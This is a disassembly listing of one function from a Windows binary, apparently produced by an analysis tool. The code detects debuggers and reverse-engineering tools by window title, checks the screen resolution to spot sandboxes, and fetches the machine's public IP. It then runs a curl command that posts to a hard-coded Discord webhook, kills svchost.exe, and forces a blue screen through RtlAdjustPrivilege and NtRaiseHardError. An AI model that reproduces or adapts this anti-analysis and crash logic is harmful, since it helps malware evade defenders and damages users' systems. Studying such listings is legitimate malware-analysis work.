Function at 0x14002ff30
Capabilities:
Accept command line arguments
Create process on windows
Create thread
Execute command
Get system firmware table
Terminate process

Disassembly:
push rbp
push rbx
push r12
lea rbp, [rsp - 0x6b0]
sub rsp, 0x7b0
mov rax, qword [0x1402e9060]
xor rax, rsp
mov qword [rbp + 0x690], rax
xor r12d, r12d
mov ebx, r12d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x70]
lea edx, [r12 + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140030060
mov rcx, qword [rsp + 0x70]
lea rax, [rbp - 0x5c]
lea r9d, [r12 + 4]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x60]
lea edx, [r12 + 0x1a]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x14002ffa9
lea ebx, [r12 + 1]
jmp 0x14002ffaf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x140030066
cmp dword [rbp - 0x60], r12d
jne 0x140030066
lea rcx, [rsp + 0x60]
call fcn.14002dca0
test eax, eax
jne 0x140030066
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rcx, [rbp - 0x80]
xor r9d, r9d
mov qword [rsp + 0x50], rcx
mov r8, rax
lea rcx, [rbp - 0x20]
xor edx, edx
mov qword [rsp + 0x48], rcx
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
je 0x14003004d
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140030066
call qword [sym.imp.KERNEL32.dll_GetLastError]
xorps xmm0, xmm0
mov qword [rsp + 0x7d8], rdi
movups xmmword [rbp - 0x40], xmm0
mov qword [rsp + 0x7e0], r13
lea r8, [rbp + 0x290]
mov r9d, 0x100
mov byte [rbp - 0x40], r12b
xor edx, edx
mov qword [rsp + 0x7a8], r14
mov ecx, 0x52534d42
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
call qword [sym.imp.KERNEL32.dll_GetSystemFirmwareTable]
test eax, eax
je 0x1400300c9
mov r8d, 0x100
lea rdx, [rbp + 0x290]
lea rcx, [rbp - 0x40]
call fcn.14000a490
lea rcx, [rbp - 0x40]
call fcn.14002f180
xorps xmm0, xmm0
mov qword [rbp - 0x70], r12
movups xmmword [rbp - 0x80], xmm0
mov byte [rbp - 0x80], r12b
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
call fcn.140074400
mov rbx, rax
test rax, rax
je 0x14003013f
lea r8, str.https:__api.ipify.org_
mov edx, 0x2712
mov rcx, rax
call fcn.140077230
lea r8, [0x14002f830]
mov edx, 0x4e2b
mov rcx, rbx
call fcn.140077230
lea r8, [rbp - 0x80]
mov edx, 0x2711
mov rcx, rbx
call fcn.140077230
mov rcx, rbx
call fcn.1400744c0
mov rcx, rbx
call fcn.1400743e0
mov rbx, qword [0x1402fa1f8]
mov r14, qword [0x1402fa200]
mov r13, qword [rbp - 0x68]
mov rdi, qword [rbp - 0x80]
mov qword [rsp + 0x7d0], rsi
mov qword [rsp + 0x7a0], r15
cmp rbx, r14
je 0x1400301a9
mov rsi, qword [rbp - 0x70]
cmp r13, 0x10
setae r15b
cmp qword [rbx + 0x18], 0x10
mov rdx, rbx
jb 0x140030183
mov rdx, qword [rbx]
test r15b, r15b
lea rcx, [rbp - 0x80]
cmovne rcx, rdi
cmp rsi, qword [rbx + 0x10]
jne 0x1400301a0
mov r8, rsi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400301db
add rbx, 0x20
cmp rbx, r14
jne 0x140030176
cmp r13, 0x10
jb 0x1400301ec
lea rdx, [r13 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400301e4
mov rdi, qword [rdi - 8]
add rdx, 0x27
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400301e4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, rdi
call fcn.1400c8744
movabs r14, 0x8000000000000000
test qword [0x1402fa110], r14
jne 0x140030256
mov rdx, qword [0x1402fa1e8]
mov rcx, rdx
mov rax, qword [rdx + 8]
cmp byte [rax + 0x19], r12b
jne 0x14003022b
cmp byte [rax + 0x20], 1
jae 0x14003021f
mov rax, qword [rax + 0x10]
jmp 0x140030225
mov rcx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], r12b
je 0x140030213
cmp byte [rcx + 0x19], r12b
jne 0x140030237
cmp byte [rcx + 0x20], 1
jbe 0x14003023a
mov rcx, rdx
cmp rcx, rdx
je 0x140030256
lea rdx, [rsp + 0x68]
mov byte [rsp + 0x68], 1
call fcn.140030cd0
movzx edi, byte [rax]
jmp 0x140030332
mov rax, qword [0x1402fa1d8]
xor dil, dil
movabs rsi, 0x7ffffffffff7ffff
mov qword [0x1402fa110], rsi
mov rbx, qword [rax]
mov qword [rsp + 0x70], rbx
cmp rbx, rax
je 0x1400302aa
nop
call qword [rbx + Ordinal_50]
test al, al
je 0x14003028b
add dil, byte [rbx + 0x28]
lea rcx, [rsp + 0x70]
call fcn.140031d70
mov rbx, qword [rsp + 0x70]
cmp rbx, qword [0x1402fa1d8]
jne 0x140030280
mov rsi, qword [0x1402fa110]
mov r11, qword [0x1402fa228]
lea rbx, [0x1400dc9a0]
cmp dil, 0x64
mov r10d, r12d
setae dil
mov rax, qword [r11]
mov qword [rsp + 0x70], rax
cmp rax, r11
je 0x140030301
mov ecx, dword [rax + 0x28]
mov edx, r10d
cmp ecx, r10d
jle 0x1400302df
mov rbx, qword [rax + 0x20]
cmp ecx, edx
mov r10d, ecx
lea rcx, [rsp + 0x70]
cmovle r10d, edx
call fcn.140031d70
mov rax, qword [rsp + 0x70]
cmp rax, r11
jne 0x1400302d0
test r10d, r10d
jne 0x140030308
lea rbx, str.Unknown
test r14, rsi
jne 0x140030332
lea rdx, [rsp + 0x68]
mov byte [rsp + 0x68], 1
call fcn.140030cd0
lea rdx, [rsp + 0x68]
mov byte [rax], dil
mov byte [rsp + 0x68], 1
call fcn.140030cd0
mov qword [rax + 8], rbx
test dil, dil
je 0x14003034d
lea rcx, str.cmd.exe__C_taskkill__IM_svchost.exe__F
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 8
call fcn.1400c84b0
lea rcx, [0x1400041a0]
mov r9, rax
lea r8, [0x1400372b0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x70], rax
test rax, rax
je 0x140030c84
cmp dword [rsp + 0x78], r12d
je 0x140030c78
movaps xmm0, xmmword [rsp + 0x70]
lea rcx, [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140030c78
xorps xmm0, xmm0
lea ecx, [rax + 8]
movdqa xmmword [rsp + 0x70], xmm0
call fcn.1400c84b0
lea rcx, [0x140004460]
mov r9, rax
lea r8, [0x1400372b0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x70], rax
test rax, rax
je 0x140030c67
cmp dword [rsp + 0x78], r12d
je 0x140030c5b
movaps xmm0, xmmword [rsp + 0x70]
lea rcx, [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140030c5b
xorps xmm0, xmm0
lea ecx, [rax + 8]
movdqa xmmword [rsp + 0x70], xmm0
call fcn.1400c84b0
lea rcx, [0x1400046e0]
mov r9, rax
lea r8, [0x1400372b0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x70], rax
test rax, rax
je 0x140030c4a
cmp dword [rsp + 0x78], r12d
je 0x140030c3e
movaps xmm0, xmmword [rsp + 0x70]
lea rcx, [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140030c3e
xorps xmm0, xmm0
lea ecx, [rax + 8]
movdqa xmmword [rsp + 0x70], xmm0
call fcn.1400c84b0
lea rcx, [0x1400048e0]
mov r9, rax
lea r8, [0x1400372b0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x70], rax
test rax, rax
je 0x140030c2d
cmp dword [rsp + 0x78], r12d
je 0x140030c21
movaps xmm0, xmmword [rsp + 0x70]
lea rcx, [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140030c21
xorps xmm0, xmm0
lea ecx, [rax + 8]
movdqa xmmword [rsp + 0x70], xmm0
call fcn.1400c84b0
lea rcx, [0x140004b50]
mov r9, rax
lea r8, [0x1400372b0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x70], rax
test rax, rax
je 0x140030c10
cmp dword [rsp + 0x78], r12d
je 0x140030c04
movaps xmm0, xmmword [rsp + 0x70]
lea rcx, [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140030c04
xorps xmm0, xmm0
lea ecx, [rax + 8]
movdqa xmmword [rsp + 0x70], xmm0
call fcn.1400c84b0
lea rcx, [0x14002fbd0]
mov r9, rax
lea r8, [0x1400372b0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x70], rax
test rax, rax
je 0x140030bf3
cmp dword [rsp + 0x78], r12d
je 0x140030be7
movaps xmm0, xmmword [rsp + 0x70]
lea rcx, [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140030be7
xorps xmm0, xmm0
lea ecx, [rax + 8]
movdqa xmmword [rsp + 0x70], xmm0
call fcn.1400c84b0
lea rcx, [0x140003f20]
mov r9, rax
lea r8, [0x1400372b0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x70], rax
test rax, rax
je 0x140030bd6
cmp dword [rsp + 0x78], r12d
je 0x140030bca
movaps xmm0, xmmword [rsp + 0x70]
lea rcx, [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140030bca
xorps xmm0, xmm0
lea ecx, [rax + 8]
movdqa xmmword [rsp + 0x70], xmm0
call fcn.1400c84b0
lea rcx, [0x14002b3e0]
mov r9, rax
lea r8, [0x1400372b0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x70], rax
test rax, rax
je 0x140030bb9
cmp dword [rsp + 0x78], r12d
je 0x140030bad
movaps xmm0, xmmword [rsp + 0x70]
lea rcx, [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140030bad
lea rax, str.KsDumperClient.exe
xorps xmm0, xmm0
mov qword [rbp + 0x170], rax
lea rbx, [rbp + 0x170]
lea rax, str.HTTPDebuggerUI.exe
movdqa xmmword [rsp + 0x70], xmm0
mov qword [rbp + 0x178], rax
lea rax, str.HTTPDebuggerSvc.exe
mov qword [rbp + 0x180], rax
lea rax, str.x64dbg.exe
mov qword [rbp + 0x188], rax
lea rax, str.ProcessHacker.exe
mov qword [rbp + 0x190], rax
lea rax, str.ida64.exe
mov qword [rbp + 0x198], rax
lea rax, str.dotPeek64.exe
mov qword [rbp + 0x1a0], rax
lea rax, str.ida32.exe
mov qword [rbp + 0x1a8], rax
lea rax, str.ida.exe
mov qword [rbp + 0x1b0], rax
lea rax, str.reclass.net.exe
mov qword [rbp + 0x1b8], rax
lea rax, str.reclass.exe
mov qword [rbp + 0x1c0], rax
lea rax, str.heyrays.exe
mov qword [rbp + 0x1c8], rax
lea rax, str.Ida_Pro
mov qword [rbp + 0x1d0], rax
lea rax, str.Ida_Freeware
mov qword [rbp + 0x1d8], rax
lea rax, str.lighthouse.exe
mov qword [rbp + 0x1e0], rax
lea rax, str.dnSpy
mov qword [rbp + 0x1e8], rax
lea rax, str.cheatengine_x86_64.exe
mov qword [rbp + 0x1f0], rax
lea rax, str.Cheat_Engine.exe
mov qword [rbp + 0x1f8], rax
lea rax, [0x1400de058]
mov qword [rbp + 0x200], rax
lea rax, str.OllyDbg
mov qword [rbp + 0x208], rax
lea rax, str.Process_Hacker_2
mov qword [rbp + 0x210], rax
lea rax, str.Progress_Telerik_Folder_Web_Debugger
mov qword [rbp + 0x218], rax
lea rax, str.Themida___Advanced_Windows_Software_Protection
mov qword [rbp + 0x220], rax
lea rax, str.The_Wireshark_Network_Analyzer
mov qword [rbp + 0x228], rax
lea rax, str.classinformer.exe
mov qword [rbp + 0x230], rax
lea rax, str.fiddler.exe
mov qword [rbp + 0x238], rax
lea rax, str.Cheat_Engine_7.5
mov qword [rbp + 0x240], rax
lea rax, str.Cheat_Engine_7.4.exe
mov qword [rbp + 0x248], rax
lea rax, str.Cheat_Engine_7.3.exe
mov qword [rbp + 0x250], rax
lea rax, str.Cheat_Engine_7.2.exe
mov qword [rbp + 0x258], rax
lea rax, str.Cheat_Engine_7.1.exe
mov qword [rbp + 0x260], rax
lea rax, str.Cheat_Engine_7.0.exe
mov qword [rbp + 0x268], rax
lea rax, str.Cheat_Engine_6.9.exe
mov qword [rbp + 0x270], rax
lea rax, str.Cheat_Engine_6.8.exe
mov qword [rbp + 0x278], rax
lea rax, str.httpdebugger.exe
mov qword [rbp + 0x280], rax
nop dword [rax + rax]
mov rdx, qword [rbx]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140030963
lea r9, str.https:__canary.discord.com_api_webhooks_1170521757233447083_LslGxocZewfaoIWFybb_h6_Grs8KQnUCygfutetzaB1Ey414K6S54LyYbkExXjE8evMQ
lea r8, str.curl__H__Content_Type:_application_json___d___content_:__Crack_Yapmaya_Calisiyor_Salak_Koydum_Mavi_Ekrani__
lea rdx, str._s__s
lea rcx, [rbp + 0x290]
call fcn.14001c8e0
lea rcx, [rbp + 0x290]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cmd.exe__C_taskkill__IM_svchost.exe__F
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor r8d, r8d
lea r9, [rsp + 0x68]
mov dl, 1
lea ecx, [r8 + 0x13]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rbp - 0x5c]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 6
mov ecx, 0xc0000420
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
add rbx, 8
lea rax, [rbp + 0x288]
cmp rbx, rax
jne 0x1400308e0
call fcn.14002aa70
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, 1
mov ebx, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cmp ebx, 0x500
jne 0x1400309a9
cmp eax, 0x400
jne 0x1400309a9
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor edx, edx
lea rcx, [rbp + 0x5c]
mov r8d, 0x110
call sub.VCRUNTIME140.dll_memset
mov r8b, 1
mov dword [rbp + 0x50], 0x11c
mov edx, 2
xor ecx, ecx
call qword [sym.imp.ntdll.dll_VerSetConditionMask]
mov r8b, 1
mov edx, 1
mov rcx, rax
call qword [sym.imp.ntdll.dll_VerSetConditionMask]
mov edx, 3
mov dword [rbp + 0x54], 6
mov r8, rax
mov dword [rbp + 0x58], 1
lea rcx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
test eax, eax
je 0x140030a22
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Unsupported_Windows_version__Windows_7_._Exiting..._n
call fcn.14000aaa0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
cmp byte [0x1402f8b74], r12b
jne 0x140030a49
nop dword [rax + rax]
call fcn.14002fc00
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x1402f8b74], r12b
je 0x140030a30
call fcn.14002e5f0
cmp byte [0x1402fa0a1], r12b
jne 0x140030a65
call fcn.14002a990
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 8
call fcn.1400c84b0
lea rcx, [0x14002f060]
mov r9, rax
lea r8, [0x1400372b0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp - 0x48]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x50], rax
test rax, rax
je 0x140030b9d
cmp dword [rbp - 0x48], r12d
je 0x140030b91
movaps xmm0, xmmword [rbp - 0x50]
lea rcx, [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140030b91
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x50], xmm0
call fcn.1400055b0
cmp byte [0x1402f8c78], r12b
jne 0x140030b03
mov qword [rsp + 0x70], 1
nop dword [rax]
lea rcx, [rsp + 0x70]
call fcn.140006ef0
cmp byte [0x1402f8c78], r12b
je 0x140030af0
cmp dword [rbp - 0x48], r12d
je 0x140030b10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140030b4e
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030b49
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140030b49
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8744
mov rsi, qword [rsp + 0x7d0]
mov r15, qword [rsp + 0x7a0]
mov rdi, qword [rsp + 0x7d8]
mov r13, qword [rsp + 0x7e0]
mov r14, qword [rsp + 0x7a8]
mov rcx, qword [rbp + 0x690]
xor rcx, rsp
call fcn.1400c8490
add rsp, 0x7b0
pop r12
pop rbx
pop rbp
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp - 0x48], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rsp + 0x78], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rsp + 0x78], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rsp + 0x78], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rsp + 0x78], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rsp + 0x78], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rsp + 0x78], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rsp + 0x78], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rsp + 0x78], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3